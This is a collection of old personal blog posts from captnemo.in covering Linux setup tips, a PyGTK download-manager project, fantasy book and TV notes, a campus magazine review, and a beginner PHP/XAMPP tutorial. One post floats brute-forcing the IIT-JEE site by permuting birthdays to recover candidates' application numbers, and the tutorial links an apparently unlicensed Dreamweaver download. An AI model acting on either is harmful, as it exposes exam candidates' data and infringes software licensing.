<p>This method is only useful if you need to manage multiple accounts on the same host. Otherwise, you can refer to this <a href="http://www.webupd8.org/2011/03/set-up-sparkleshare-with-your-own.html">excellent post</a> on webupd8 for instructions to install it to a single user system (which does not involve the complication of gitolite). I’ve been looking for some gitolite management scripts (I’ve written a few as well) which would allow one to easily add their own ssh keys. This way anyone can easily setup accounts on the system. However, as of now, this is just a dream.</p>
New Website [ CaptNemo.in]2011-06-13T00:00:00+00:00https://captnemo.in/blog/2011/06/13/new-website-captnemo-inJust if someone's still following this blog around(don't, its already dead).
I've moved over to my new website (<a title="CaptNemo.in" href="http://www.captnemo.in" target="_blank">http://www.captnemo.in</a>). Its running from github and will be a perfectly static website where the power of my awesome magical skills shall finally be revealed.
Just joking. Its hosted on the awesome servers of github and you might want to check it out..
IIT-JEE 2011 Results2011-06-01T00:00:00+00:00https://captnemo.in/blog/2011/06/01/iit-jee<p>I worked out the entire IIT-JEE 2011 results and the end result is available <a href="/projects/iitjee">here</a>. I’ve intentionally removed the Application Form Number (partially) in the results, so that it may not be misused. I’m thinking of trying a full-scale birthday permutation attempt on the JEE site for the Application Form. What do you think? Will it be worth it?</p>
Learning Python, PyGTK2011-05-16T00:00:00+00:00https://captnemo.in/blog/2011/05/16/learning-python<p>I had been meaning to learn either Python or Ruby for a long time but had been unable to decide. I had a basic understanding of both of these, but I never had the chance to build an entire application in either. And I’m not talking about using <a href="http://djangoproject.com" title="Django is a web framework for Python">Django</a> or <a href="http://rubyonrails.org" title="Ruby on Rails is a web framework for Ruby">Ruby on Rails</a> (which are both brilliant), but building a desktop application using GTK.
The application I was first aiming for was a P2P sharing client which would be completely decentralized and offer several special features, such as :</p>
<ul>
<li>NAT Transversal using <a href="http://en.wikipedia.org/wiki/UDP_hole_punching">UDP Hole Punching</a></li>
<li>HTTP based file sharing as well (so that people can install their clients, and <strong>still use</strong> IDM for downloading stuff)</li>
<li>Client discovery & routing behind firewalls along the lines of Skype (<a href="http://www.h-online.com/security/features/How-Skype-Co-get-round-firewalls-747197.html">using supernodes</a>)</li>
</ul>
<p>However my dreams were shattered by the first point itself, being the difficulty of NAT Transversals. Further ahead was the question of networking as well, which could have potentially driven me nuts. I worked a bit on it, using <a href="http://en.wikipedia.org/wiki/STUN" title="Stun is a NAT transversal server">STUN</a>, <a href="http://twistedmatrix.com" title="Twisted is a networking framework for Python">twisted</a>, but gave up on it soon as being unfeasable as a learning project.</p>
<p>The next idea came to me when I got tired of downloading stuff using <a href="http://axel.alioth.debian.org/" title="Axel is a multithreaded download binary">axel</a> from the command line and started itching for something similar to <a href="http://internetdownloadmanager.com">Internet Download Manger</a> for Ubuntu. The closest thing to a download manager on Ubuntu is <a href="http://fatrat.dolezel.info/">FatRat</a> and is something I really don’t like. It is based on Qt and prouds on working as a front-end for several file-sharing websites as well. What I needed was in fact a fast download manager, which keeps tracks of what I download, and does not require keeping a terminal open all the time.</p>
<p>I found <a href="http://projects.gnome.org/gwget/">GwGet</a>, which occassionaly looks much better in the source version than in the one from the Ubuntu Repositories. I really liked this one, except for the fact that it was made using C++, and used single threaded downloads (like wget). As a result it was quite slow, and not upto my needs.</p>
<p>That was when I thought of the idea of creating a download manger using [GTK][gtk] + Python/Ruby. I looked around for axel ports in Python/Ruby and found <a href="http://code.google.com/p/pyaxel/" title="Axel port to python">PyAxel</a>, which beat axel in some of my benchmarks (after <a href="http://code.google.com/p/pyaxel/issues/detail?id=4" title="My patch for optimizing PyAxel's chunk size">this patch</a>). For the past two days, I have been working on PyGTK, Glade, Anjuta and several other IDEs, none of them to my liking. I really prefer Vim :)</p>
<p>So far, the work on <a href="https://github.com/captn3m0/pget" title="PGet home page on Github">PGet</a> has been minimal. I’ve worked out threading, and little parts of GUI which were stripped from GwGet. As of now, it is still under works, but I am hoping for a release real soon. After all, it is not for nothing that they call Python a dynamic langugae</p>
<p>For more details, please go the <a href="https://github.com/captn3m0/pget" title="PGet home page on Github">PGet</a> project page on Github. I will be posting further updates over there.
In case someone is following this blog, you can view the source for this website at <a href="https://github.com/captn3m0/captn3m0.github.com" title="This website on GitHub">github</a> and maybe even fork it!</p>
Puzzles, Life & Other Things2011-04-30T00:00:00+00:00https://captnemo.in/blog/2011/04/30/puzzles<p>Since I’ve already decided to make this my newer blog, why not just continue in the same spirit and write a little of the events of my highly boring, lazy life. For one, I was part of the SDSLabs 1st yearly trip to Robber’s Caves which was highly enthralling. We enjoyed a lot, and as a bonus I learned to play Mafia. Somehow the concept of not-knowing and yet trying to deduce out a solution in Mafia seems quite interesting for a Party game to me. Among other things, my sister got me a new Rubik Cube (which should be my 6th or 7th I guess), and I’ve been practising quite a lot (to the dismay of my friends and teachers), My timings have not been upto the mark as they were last year, but I’ve been improving and I average around 80 seconds per solve. I’ve been focusing on learning the entire Fridrich, and try to learn 2-3 moves per day.</p>
<p>I also spent some time reading a brilliant new fantasy series called “The Kingkiller Chronicles” by Patrick Rothfuss. It is a brilliant new debut series in fantasy fiction, and already has 2 books out from its planned trilogy : The name of the Wind, and The Wise Man’s Fear. The series is highly praised, and you were to believe me, one of the best pieces of Fantasy ever written. But it is not the fantasy about this book that makes it so great. Its the general themes of love, tragedy, enemity, and knowledge that make it brilliant. Kvothe, the protagonist of the series is a charming character who is telling the story of his life to the Chronicler. Enough on the book, just go ahead and read it!</p>
<p>Oh, and I’ve got a RSS feed for blog using Jekyll already. Its available [here] (/atom.xml)</p>
Game Of Thrones2011-04-19T00:00:00+00:00https://captnemo.in/blog/2011/04/19/game-of-thrones<p>For the uninitiated, Game Of Thrones is a high budget fantasy TV series currently being screened on HBO. It is based on George R.R Martin’s epic fantasy, A Song Of Fire & Ice, book one of the Game Of Thrones series.
I had started reading the book a few weeks ago (not knowing then about the TV series), but never quite got the time. However after the highly promoted Trailer, and the absolutely brilliant episode 1, I’ve picked up the book once again.</p>
<p>I’ve decided to keep myself aloof from all the spoilers, and read the book along with the series. This means that I will be finishing the book in a very long time, but also that I will be able to get a much better insight into what is going on the series. For eg there are very many characters in the TV series, which are not yet introduced, and it was interesting to see them come upfront in the book.</p>
<p>Is anyone else reading the book for the first time along with the TV series ?</p>
<p>Below is the ground from the book that each episode contains. I will continue to update this as the series goes ahead :</p>
<p>Episode :</p>
<ol>
<li>Chapters 1-8</li>
<li>Chapters 9-17</li>
<li>Chapters 18-24*</li>
<li>Chapters 25-29</li>
<li>Chapters 30-35</li>
</ol>
<p>* Only half of the chapter is present in the respective episode.</p>
<p>Let me know what you think of Game Of Thrones in the comments…</p>
Introduction2011-04-10T00:00:00+00:00https://captnemo.in/blog/2011/04/10/introduction<p>Welcome to my github pages. This will be my personal code blog site, or something of that sort. I will soon be transitioning this site to Jekyll for easier publishing and maybe move away from wordpress. (Done)</p>
<p>I am a proficient coder in PHP, working on various internal projects at SDSLabs.</p>
<p>Here is my current setup :</p>
<ul>
<li>Dell Inspiron 1545</li>
<li>T-6400 Intel Core 2 Duo</li>
<li>Ubuntu Oneric Ocelot 11.10 (Default Primary OS)</li>
<li><del><a href="http://elementaryos.org">Elementary OS</a> (Under Testing)</del> Will be moving to Gnome Shell soon</li>
<li><del><a href="http://samurai.inguardians.org">Samurai WTF</a>, <a href="http://backtrack-linux.org">Backtrack 5</a></del> for pen-tests</li>
<li>Moved from Windows after remaining a staunch supporter for 5 years</li>
</ul>
How to run apt-add-repository behind firewalls (#iitr)2011-04-01T00:00:00+00:00https://captnemo.in/blog/2011/04/01/run-apt-add-repo-behind-firewall<p>Copied from <a href="http://www.omgubuntu.co.uk/2011/01/how-to-add-repositories-to-ubuntu-from-behind-a-firewall/">OMGUbuntu</a></p>
<ol>
<li>Press Alt-F2 and type “gksu gedit /usr/lib/python2.6/dist-packages/softwareproperties/ppa.py”</li>
<li>Find line 88, change “keyserver.ubuntu.com” to “hkp://keyserver.ubuntu.com:80”</li>
<li>Save and close</li>
</ol>
<p>Note that this is the default setting in Ubuntu Natty Narwhal (11.04), and was only applicable for Maverick or older versions.</p>
Wona Oct-Dec '10 Review2011-03-17T00:00:00+00:00https://captnemo.in/blog/2011/03/17/wona-review<p>Download the issue on the WONA
<a href="/wona/">archive website</a>.</p>
<p><a href="/wona/"><img src="https://captnemo.in/wona/2010-12.jpg" alt="Wona December
Issue" title="Wona December Issue" /></a></p>
<p><strong>Note about Archival</strong>: <em>This post used to live on the (now-dead) piratecoders.co.cc website. I’ve moved it here for archival’s sake.</em></p>
<p>The latest issue of WONA turned up 3 months late at my doorstep. Other
than the fact that it was missing an apology letter for this lateness,
it was a good step in the forward direction by WONA in general. Once you
take aside the pleasantries, and the sarcasm, I felt that WONA was, on a
general scale, surpassing what it had been doing till now, and moving
towards a better (and hopefully a quicker) issue. However, this one was
definately not the one to be labelled perfect. So here comes the review
:</p>
<p><strong>Cover :</strong> Let’s start with the cover. Not much to write about it,
other than the fact that it took me quite some time to figure out what
was Maradone doing on it. Nice work in putting up the WONA logo (which
I’m genuinely fond of). Nice choice of color scheme, and over-all good
work.</p>
<p><strong>Editorial :</strong> The magazine starts at a good note with the editorial
promising us what’s inside in a nutshell. This was the best write-up of
issue for me, and did its job well. I was enticed into reading further,
and got a gist of what was about to come.</p>
<p><strong>Almost Famous :</strong> Almost Famous has quite a history of its own, and is
one column that every person who lays his hands on WONA definately
reads. This time around, you held out Jan Flaming for me. As for the
interview itself, it was clearly written, had some nice questions, some
imaginary answers, and overall does quite well for the reader. On a
second take, this was probably the reason it ends up on the first page
this time.</p>
<p><strong>Murphy’s Strip :</strong> Alas if Murphy had been here, he might have taken a
shot or two at you. How about : “Any comic that can go wrong <em>will</em> go
wrong.” Or maybe “If Vela could draw stupid sketches, he would.” Still,
nice concept, bad execution. Could have been better, definately,
especially with regards to sketching. Still 42 times better than the
other strip.</p>
<p><strong>NewsNotes :</strong> were 4 pages of news, which arrived 3 months too late.
Nobody remembers any of these incidences happening, let alone being part
of them. PAN-IIT was way bigger than your coverage, and deserved a bit
more. Rest all the newsnotes were in a bit, exactly what they were
supposed to be : News, without any sarcasm or humour. However I’m
heavily against the use of one and half pages to glorify pages. I know
how costly it is to push each page into the magazine, but please don’t
fill it with something that no one bothers to read. Medal winners,
please don’t mind but the two tables were a waste of space, if not
something else. Or else the nine people from WONA’s news section could
not find enough news. Anyone could have gotten these lists from the
Sports Council a day after the event ceremonies. Give me something
better.</p>
<p><strong>Face-Off :</strong> was usual stuff. Nice choice of topic, nicely edited,
with some actual points being thrown around, this turned out fine.</p>
<p><strong>Big Story (Devil Wears Prada) :</strong> In spite of my initial skeptism
about the story (I knew about it before the issue came out), I really
liked it. This article goes ahead and proves that what you write on is
unimportant (or at least less so) as long as you write it well. In a
world of geeks, bringing out a cover story on fashion is really a bold
move, and I must applaud you for having the guts to do so. The article
was well written, and a joy to read. However I’d come to hear, from
several sources, that people quoted in the article did not in fact give
one to WONA. Please take care not to make up stuff next time. You’re a
news mag, stick to the status quo, please.</p>
<p><strong>Verbatim :</strong> WONA gets its hands on the most respected professor on on
our campus, and does quite a good job of it as well. Nice questions,
interesting answers make up a good read. In fact, the only negative
point of the article was its placement.</p>
<p><strong>WonaLeaks :</strong> This was the article that forced me to write this
review. If it was an attempt at humour, it failed badly. As an attempt
to mix news and wonaspeek, it fails even badly. Mixing kangaroos, indian
cricket team, koala bears and a state prosecutor is definately not the
recipe for sucess. It might work in movies (Spaceman + Potato Head +
Zombie Dolls + Cowboy + Alien with 3 eyes = Oscar), but definately not
on paper. Nobody remembers the event the article talks about. Its
relation to wikileaks is not enough to demand a WonaLeaks icon. I shall
forever remember this as the worst of writing, and imagination that ever
came out of wona.</p>
<p><strong>Tech-ila Shots :</strong> The in house tech article arrives a few months
late. (Google just released Cr-48). I would have personally liked to see
something else here (iPhone vs Android, iPhone 5, Ubuntu vs Windows
etc). But as it was, the article was well thought of, and did exactly
what it planned to. It could have done with a bit of pruning though, and
the author might have liked to tell us a bit more about the OS itself
(it only mentions the fact that its web based, comes as pre-installed,
will not run intensive applications).</p>
<p><strong>Random Ed :</strong> I’m not sure if it really is an editorial, but I’ll
stick with the title. Nicely written in short. However the purpose and
intent of such an article is lost in the true random nature of the
article itself. The article fails to reach a resolution, and delievers
nothing at all. Indeed most of the thoughts mentioned in the article,
must have sprung to every person’s brain at some time or another. Then
what’s the need of this article? Is it philosophy that Wona’s trying to
dive into? Or perhaps its just a conspiracy to get all students in the
campus to think more randomly, leading to a decrease in entropy of the
thoughts of the profs, and as a consequence, simpler question papers.
(For the skeptics, something similar has already happened, and our
thought patterns <em>are</em> involed in the entropy of a system.)</p>
<p><strong>Ethics :</strong> was actually the cover story (which one comes to know only
after re-reading the cover). The author is unclear of the intent of the
article, and it steers in various directions. I’m still unsure as to
where it ends, and whether Arasu’s mumblings (Another Brick in the Wall)
are part of it. One might raise question as to the relevance of the last
section itself, but this article had its moments as well. In short, nice
concept, nice writing, but could have done with a bit of restructuring.</p>
<p><strong>Canine Strip :</strong> Another page wasted. The time spent by the sketcher
could so easily have been devoted on bettering the other one. Needless
to say, wona seems to be lacking in people who actually write, and the
it results in a page filled with a stupid comic about dogs taking over
the campus. Seriously, get some creativity. Even zombies would have done
better.</p>
<p><strong>WORC :</strong> Good decision in continuing this column. I was afraid it
might get scrapped along with Agony Aunt(which was a very good
decision). I can just hope that you actually asked some persons to
create those pie charts. Dr. Sinhval seems to have taken his time in
answering the questions, and his reply is full of facts, explanations,
and ideas. Nice work by the ed team here, definitely.</p>
<p>Other than the articles there are a few more areas of interest I would
like to point out.</p>
<p><strong>Design:</strong> Seriously, have you people ever heard of vector graphics.
Your designers really need a course on making scalable graphics. The
need for Darth Vader to illustrate an article is fine, as long as you
have a big enough image to fit. Trying to scale a 400×300 jpg into a
page will not do. Even the cafe de norma ad was pixellated. The girl
wearing Prada proves that it was possible to pring clearer graphics .
However on the very next page, there’s an overdose of black. Similarly
pixellated were most of the other pics on the mag. The 3 monkeys
illustrating the second last page could have been something better. The
essence of the German flag was lost in black & white(Almost Famous) .
And just so you know that everyone noticed , dark colored pics in the
background make text unreadable (Chrome OS).</p>
<p><strong>Ads :</strong> I don’t know the reasons behind it, but from a reader’s point
of view, an issue with only 3 ads is really awesome. Especially once you
compare it with Kshitiz’s latest issue. I know it must have been really
hard to cover the costs, and manage the finances and all that. But folks
over here are smiling for your hard work. You finally published it
(albeit 3 months late), and that’s what matters.</p>
<p><strong>Placement :</strong> could have been better. Some articles should have gotton
more coverage than given. Perhaps you should think of making Tech-ila
bigger. I would’nt have minded the least if Verbatim had gotten a bit
larger. The ethics article was divided into portions, I couldn’t
understand, and might have done with fewer sections.</p>
<p><strong>Cover :</strong> A little side note as to why the article change from the
cover to the article itself. Isn’t the cover supposed to hold titles as
well. On second thoughts, I might be wrong to suggest your current
layout, but can you just put up page numbers! They would surely help.</p>
<p>And finally a note from my side : Wona is an excellent magazine. Despite
it having a status quo of its own on its supposed unreadability without
an excellent understanding of wona’s inner sanctum, I believe that the
magazine is an essential part of life at iitr. It is one of the few
sections in our campus, whose work is actually a part of our daily life.
Thanks to the entire team for working so hard on this issue.</p>
<p>This review is my way of letting you know that there are people who care
about what you write. There are people who wait for the issue, and who
are determined to do so till they pass out. Consider it a friendly nudge
and a little feedback from my side. Its up to you decide what your mag
is after all. With hopes that the next issue is even better than this
one</p>
<p><em><strong>Update</strong>:</em> Friends over at wona inform me that the delay in the mag
was due to an issue on the administration’s side rather than wona’s
side. If that was the case, the blame’s partially on your staff advisors
(spelled incorrectly in the mag’s first page) : Dr. M.J. Nigam, and Dr.
B.R.Gurjar. I’m still not sympathatic to the excuse given entirely, and
believe that it might have come out a bit more sooner with some more
effort on wona’s side.</p>
Random Stray Thoughts2010-05-25T00:00:00+00:00https://captnemo.in/blog/2010/05/25/what-the-hell-is-this<p>[Editor’s note: I found this scrawled across a a4 sheet in a classroom. The author drifts off way too much from his thinking to make any sense, but there were some things that I really liked. So I present them to you, unedited, random, and unexplainable thoughts of a genius. My comments are in brackets]</p>
<p>Sometimes you are just destined to be where you are. You may try to veer off course, try to change it. But the end remains the same.</p>
<p>You.Here.Now</p>
<p>The forces of Destiny seem too powerful to be stopped by you. So you keep on flowing. Further & further away.</p>
<p>And time moves on
And its Now already.</p>
<p>Looking back at the choices you made, the crossroads you stood. The coincidences, accidents pile up and as you remember them you think - would you have chosen otherwise?</p>
<p>But regardless of your answer you’d still be here, Now.</p>
<p>And its only left to deal with the Now.</p>
<p>[Note: Now the author takes a swipe at history. lol]</p>
<p>Ever since mankind learned to reason, the challenge had always been to tackle the Now. For tomorrow was forever being planned, partly in our own dreams, and partly in the garden of Destiny</p>
<p>As of the Past, it was just a multitude of feelings, a vault to choose from - Happy, sad, heartbreaking, exciting memories, remembrances, last words. The Past always walks besides us - sometimes haunting, crippling us down, and at times uplifting, encouraging, & maybe even expecting.</p>
<p>And so the challenge remains the the Now. What do you do with it? Go ahead and battle it head on - as you’ve been asked to, regardless of the consequences?</p>
<p>For herein lies the path to greatness, the say - Keep Fighting. But is it the only path?</p>
<p>[Note: Here on the author seems to get drifted far too much in his own thoughts, and does not care to explain very much. As a result much of the following is pretty self contradictory, and maybe even rubbish]</p>
<p>What if there is another road. A road much less taken as Frost said. A road you know nothing about.</p>
<p>What if the present is not a choice? What if it is just a sequence of events to be played out from someone’s memories, where you just play your part, and in-spite of what road you choose, you end up where you must.</p>
<p>So you fight. And think. And fight with the Present [As if the present is a monster, you fool], believing that the Future can be changed, it can be manipulated, morphed into someone’s likeness.</p>
<p>Your head starts to pound with the effort. You decide to stop thinking. [Ahh. Finally, I was wondering how long I would have to keep up]</p>
<p>Its clearing your head.
Then you look around you. [Reality, anyone?]
The Present closes in [Not again!!] You realize its not there to be defeated, or to win either.
It just is.
Just as you are.
And you close your eyes again.</p>
<p>You start to think.</p>
<p>[I like the ending]</p>
Worries Css Template2010-04-15T00:00:00+00:00https://captnemo.in/blog/2010/04/15/worries-css-templateFinally, from being a complete programmer to a designer as well, who can create a css template using Paint.Net. Photoshop is way too outlandish for me, you see. It wasn't easy, but it was definately fun. The template was based on a wallpaper by http://leon-gao.deviantart.com. The final template is still unnamed. Hope you all like it, and there is a demo available at http://nemo.criitique.in/worries . [caption id="attachment_55" align="alignleft" width="300" caption="Worries Template"]<a href="http://captn3m0.files.wordpress.com/2010/04/simple2.png"><img src="http://captn3m0.files.wordpress.com/2010/04/simple2.png?w=300" alt="Template" title="Worries Template" width="300" height="208" class="size-medium wp-image-55" /></a>[/caption]
What's Sailing2010-03-23T00:00:00+00:00https://captnemo.in/blog/2010/03/23/whats-sailing<p><strong>Aboard The Nautilus, that is</strong></p>
<p>I finally decided to write a blog post for my non geek friends with affiliations ranging from DPs to BPs and the oblivious to all, but the elite few, GPs (Keep thinking, non_IITians). In midst of all the chapos, and ghissai(not me, of course), Nautilus has been, and will remain a lonely submarine beneath the ocean. And this has been the way for me in the past month. After a hefty piece of time where we were attacked by the mighty INS Cognizance (actually it was a retariation attack, because you see, Nautilus had won an event of theirs, a treasure hunt, and the mighty Cognizance, and the event organizers deemed the methods of my winning to be dishonest. (I had my reasons). But after that a hefty war at the seas resumed. I, had the luxury to dip underneath and avoid everything, once in a while. But rumours surrounded me, and I started to hear all sorts of things about me. And that is when the drama settled once and for all.(It ended with a 5k fine, if you need to know).</p>
<p>INS Cognizance is on its way for the end of its journey(Join it @ www.cognizance.org.in and 26-30 Mar, IITR). However I shall be busy participating somewhere else, Chaos ‘10, India’s largest gaming extravaganza. I have assured INS Cognizance that Nautilus shall no longer be troubling them, but who knows with such waters, a collision may be unavoidable in the near future. And when that happens, I’m taking my warheads with me, just in case.</p>
<p>In other news, I have been working on a couple of my own ideas, such as SMAC-I (Search Music Across Channel I), a Video Portal for Cinematography Section, IITRAANA.org, Counter Strike servers, the Intra Bhawan Gaming Tourney (which we won easily enough in AoE, NFS, as well as CS). Congrats to my clan mates. The net connectivity has been terrible here, and I’ve been derailed a few times along my route to Gmail. Among other news, Oh, and I won the second prize in srishti’s dynamic website design, for LION- my twitter clone. I may or may not launch it, because you see, its just another clone. I also put up a new design for Criitique.in. Please check it out, and comment. I also posted a lot of pics and designs in Kriti , the DeviantArt clone for IITR. Check them as well.</p>
<p>For those outside IITR, the link for my web presence is http://nemo.criitique.in.</p>
<p>Here are some final few words in parting to all my frnds @ IITR</p>
<p>@[Ex!$TeN$n3] - gl hf, gg :)<br />
@LxG - 14,11<br />
@alpha_Q - Better Luck Next Time<br />
@17ninJa - Practice For Chaos<br />
@bOb - fnatic lost to na’vi 2-0 (16-14, 16-13 in train, infy !)<br />
@roomie - [insert silence here]<br />
@xerxes,forsaken - nice team<br />
@DArK_LOrD - i expected better<br />
@Dead_Man - Welcome to LxG<br />
@ll those I frGT - [Proxy laga dena plz]</p>
<p>And special thanks to DR. Lecter, General Hendrix for making the legend of Capt. Nemo a reality. If you ever need assistance in a cross atlantic trip, let me know. I may ship you till atlantis, after which you are responsible for yourself and your belongings :)</p>
Learning PHP/mySQL Part 12010-02-20T00:00:00+00:00https://captnemo.in/blog/2010/02/20/learning-phpmysql-part-1<p>Over the past 2 months, I’ve been learning PHP/mySQL as a great language. After helping out a lot of people, I’ve decided to write a tutorial on using PHP/mySQL to create a cool website. For the entire duration of this tutorial, this is the list of softwares we will be working with:</p>
<blockquote>
<p><a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=XAMPP Server Lite version">XAMPP Server Lite version</a> (to get apache & mySQL)
<a href="http://www.mediafire.com/?4eemynbynjw" target="_blank">Dreamweaver CS4</a> (For Template Support). Alternatively use <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=Microsoft Expression Web 3">Microsoft Expression Web 3</a>.
<a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=Notepad++">Notepad++</a> (Its a cool editor)
<a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=PHP Manual">PHP Manual</a> (download the full html version)</p>
</blockquote>
<p>The website we will be developing is called Artemis Fowl Files (AFF for short). It is a small website with several features that we shall develop over the length of the tutorial.</p>
<h2 id="installing-php--mysql-using-xampp">Installing PHP & mySQL using XAMPP</h2>
<p>PHP is a server side scripting language. Which means that PHP is run on the web server itself. For example any PHP script running at Google.com will remain on the server, and not reach you (the client). By contrast, JavaScript runs on the client side, i.e. any JS code must be transmitted to the client before being executed.</p>
<p>This is how a basic PHP script actually runs:</p>
<blockquote>
<p>PHP source File –> PHP Parser (running on the web server) –> Becomes an HTML file –> HTML File sent to Client</p>
</blockquote>
<p>Which means that the PHP source file is run on the server, which converts the file to a pre-calculated html file, which is then sent to the client. Lets write some basic php coding.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1: <HTML>
2: <HEAD><TITLE>Sample PHP File</TITLE></HEAD>
3: <BODY>
4: <?php
5: echo "This is a sample PHP File";
6: ?>
7: </BODY>
8: </HTML>
</code></pre></div></div>
<p>The basic context of PHP is that the only code that is considered PHP is that covered between <?PHP and ?> blocks. Anything outside these is neglected and remains the same(i.e. it is not run on the server). The echo command sends the text string to the html file. All this means that the file received by the client will look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1: <HTML><HEAD><TITLE>Sample PHP File</TITLE></HEAD>
2: <BODY>
3: This is a sample PHP File
4: </BODY>
5: </HTML>
</code></pre></div></div>
<p>This is what you will get if you ran the script on a test server. But before doing that we must install XAMPP, and do some basic setup stuff.</p>
<p>Download, and Extract XAMPPlite.exe anywhere in your computer. Go to where you installed it and run setup_xampp.bat. This will automatically start the Apache Server, and the mysql Server by default. Also try tinkering with XAMPP-Control and see what runs it.</p>
<p>Now open your web browser (Firefox/Chrome is preferred) and open <a href="http://127.0.0.1">http://127.0.0.1</a>. This IP address is a loopback IP address and always refers to this computer itself (yours). Now you should see a XAMPP splash screen. Go ahead and explore. As of now, what you’ve achieved is this : Installed Apache and the mySQL server. Now we need to change the settings for mysql. Open <a href="http://127.0.0.1/security/xamppsecurity.php">http://127.0.0.1/security/xamppsecurity.php</a> and change the mysql root password(its blank by default). Also set a password on the xampp directory, so that others cant access these settings. Remember the mysql root password, for it will be useful later on.</p>
<p>Now comes the part where we actually sit down to write some code. We will be developing the mysql parts in the next segment. However we still need to do some other little things before we reach that part.</p>
<h2 id="creating-the-dreamweaver-template">Creating The Dreamweaver Template</h2>
<p>Now, call me lazy, but I don’t like designing themes, and CSS for my websites. I usually use a free one. And for the rest of this tutorial, I assume you will do the same. We need to create a Dreamweaver website using a readymade CSS Template. To get a template head on to <a href="http://www.freecsstemplates.org">http://www.freecsstemplates.org</a>. I choose <a href="http://www.freecsstemplates.org/preview/reckoning" target="_blank">this</a> template. Feel free to choose anything. It does not really matter which, but take care not to download a three column template, because what we will be developing is quite basic.</p>
<p>Create a directory called artemis inside htdocs folder(found inside xampp). Extract the css template files to the artemis folder such that the index.html file is inside xampp\artemis . Now head to your browser and open <a href="http://127.0.0.1/artemis">http://127.0.0.1/artemis</a>.</p>
<p>If all went well, you should now see the template theme. Now we must convert this css template into a Dreamweaver template. Open the index.html file in Dreamweaver. We have to mark certain areas that we intend to edit in each document as editable. For instance the top header in each document must remain the same and would not be editable. But the sidebar content may need to change as per each page on our site. Taking this further the footer will be the same for each page. To create an editable region, just select a sample text from the main text (the one on that looks like the blog entry) and right click –>Templates->Create Editable Region.</p>
<p>Dreamweaver will give a warning that the current document will be converted to a template. That is what we want. Give a name to the region(lets call it ‘main’). Now delete everything other than this main region from the right column(ie the blog entry column. You may need to switch to the split view to cleanly delete the html markup.</p>
<p>Similarly create another editable region for the sidebar. Remember to delete everything else in the sidebar as well. Now there is something to Dreamweaver which requires you to create a “site” before you can create a template. So go to Site Menu and click on New Site. Choose a site name (Artemis) and enter the correct web address where you can access index.html (<a href="http://127.0.0.1/artemis">http://127.0.0.1/artemis</a> or <a href="http://localhost/artemis">http://localhost/artemis</a>). Tell Dreamweaver that you want to use a server technology (PHP mySQL). Choose edit and test locally(because we don’t yet have access to an external web server).</p>
<p>Once you’ve created a site, you can save the web template. (Ctrl S). Currently no templates exist in our web site, So we will create one and call it “main template”. If Dreamweaver asks you to update links, press yes.</p>
<p>Now we will create our basic home page using this template. Press Ctrl+N to create a new page. On the left choose “Page from Template”, Choose the site as Artemis, and the template as well. Press Create, and viola, we have our homepage. You may see that the heading, footer, and links are not changeable, because they’re not defined as “editable” in the template. However the regions you choose to be editable are marked as such. Try writing some basic text in the sidebar and in the main content screen, and then save the file as index.php.</p>
<p>Now open <a href="http://127.0.0.1/artemis/">http://127.0.0.1/artemis/</a> in your computer, and be greeted with your newest creation. It’ is still, as of now, a static site, with links that don’t work and no dynamism, but we will make it better in the next part.</p>
<p>If you had trouble following this tutorial anywhere feel free to post comments, or tweet me @captn3m0. I will be happy to reply. Further if you feel that you missed something, here is my work for you to compare with:</p>
<p>//#todo add link to zip file here</p>
Nautilus : Behind The Curtains2009-12-04T00:00:00+00:00https://captnemo.in/blog/2009/12/04/nautilus-behind-the-curtains<p>Almost everyone looks at my laptop’s screen, and asks me “is that Windows 7 ?” and I reply each of them with the same answer “No”. I have not yet moved to 7, because of various reasons, which I am not going to explain over here, but lets just say that I’m still clinging to dear old Vista. I don’t really have much of a trouble with Vista as many people have said. I work blazingly fast with Vista, which is what it is all about. As an operating system, it is expected to help me get my job done, not do everything by itself”. And this is where my software listing comes into view. Since everyone have those “how the heck did you do that?” moments when they look at me doing stuff, I decided to publish a listing of some of my favourite applications that I use so that I may redirect you to safe spot where you may choose things as you like. This listing may not suite your way of working, however you might find a gem or two along the way. This is not a listing of all softwares that I use. Rather just a collection of cool tools that I think every Windows user must be using. If you think you’ve found that killer-app for doing things, do let me know in the comments. I’ll be listening.</p>
<ul>
<li>**<a title="Dell Dock" href="http://www.delldock.com"><img class="thumbnail" style="display:inline;border-width:0;margin:0 0 0 15px;" src="http://captn3m0.files.wordpress.com/2009/12/delldock.jpg" border="0" alt="" width="640" height="143" align="right" /></a>Dell Dock : **I just love this tools and its ability to divide the applications that I use into categories. It doesn’t take much of a screen estate, and takes me where ever I ask it to. With the ability to assign custom icons, and add separators/categories etc, it is more than an average dock, its my favourite dock. On the downside, this is only for Dell Computers, and comes preinstalled. However you can download it from <a title="DellDock.com" href="http://www.delldock.com" target="_blank">here</a> if you didn’t get it with your dell systems. Non dell users may be interested in RK Launcher, a freeware dock that simulates Mac Dashboard, and does a pretty good job. There was another version of Dell Dock (2.x which has yet to be released on the website, but was available to Dell Studio buyers, with new and better icons. Drop by a comment if you need it.</li>
<li>
<p>**Windows Sidebar : **Another tool I find myself using frequently is the Windows Sidebar, with 3-4 gadgets that are absolutely essential to me, such as the NowPlaying, MultiMeter, and the Top Processes gadget. A key shortcut to remember here is Win+Space which pops up my sidebar. Gadgets are a quick way to organize yourself, and keep a check on other things, like you schedule(Date Time), twitter(Twadged), quick launching apps, direct search among other things. Most users underestimate their usage and restrict themselves to the Clock and Slideshow gadget. Go ahead and search for them, see if you can find a gadget that matches what you’d like.</p>
</li>
<li>**<a href="http://captn3m0.files.wordpress.com/2009/12/taskbar.jpg"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="My Taskbar" src="http://captn3m0.files.wordpress.com/2009/12/taskbar_thumb.jpg" border="0" alt="My Taskbar" width="480" height="77" align="right" /></a>Quick Launch : **Not many would regard this as a tool, however this gives one a productivity boost. Try putting your favourite tools in the Quick Launch, and see if that helps you a bit, between searching for that app in Start Menu, or clicking it right where its clickable. Also try increasing the size of the Quick Launch, by Unlocking the taskbar, right click->View->Large Icons. That really looks cool!</li>
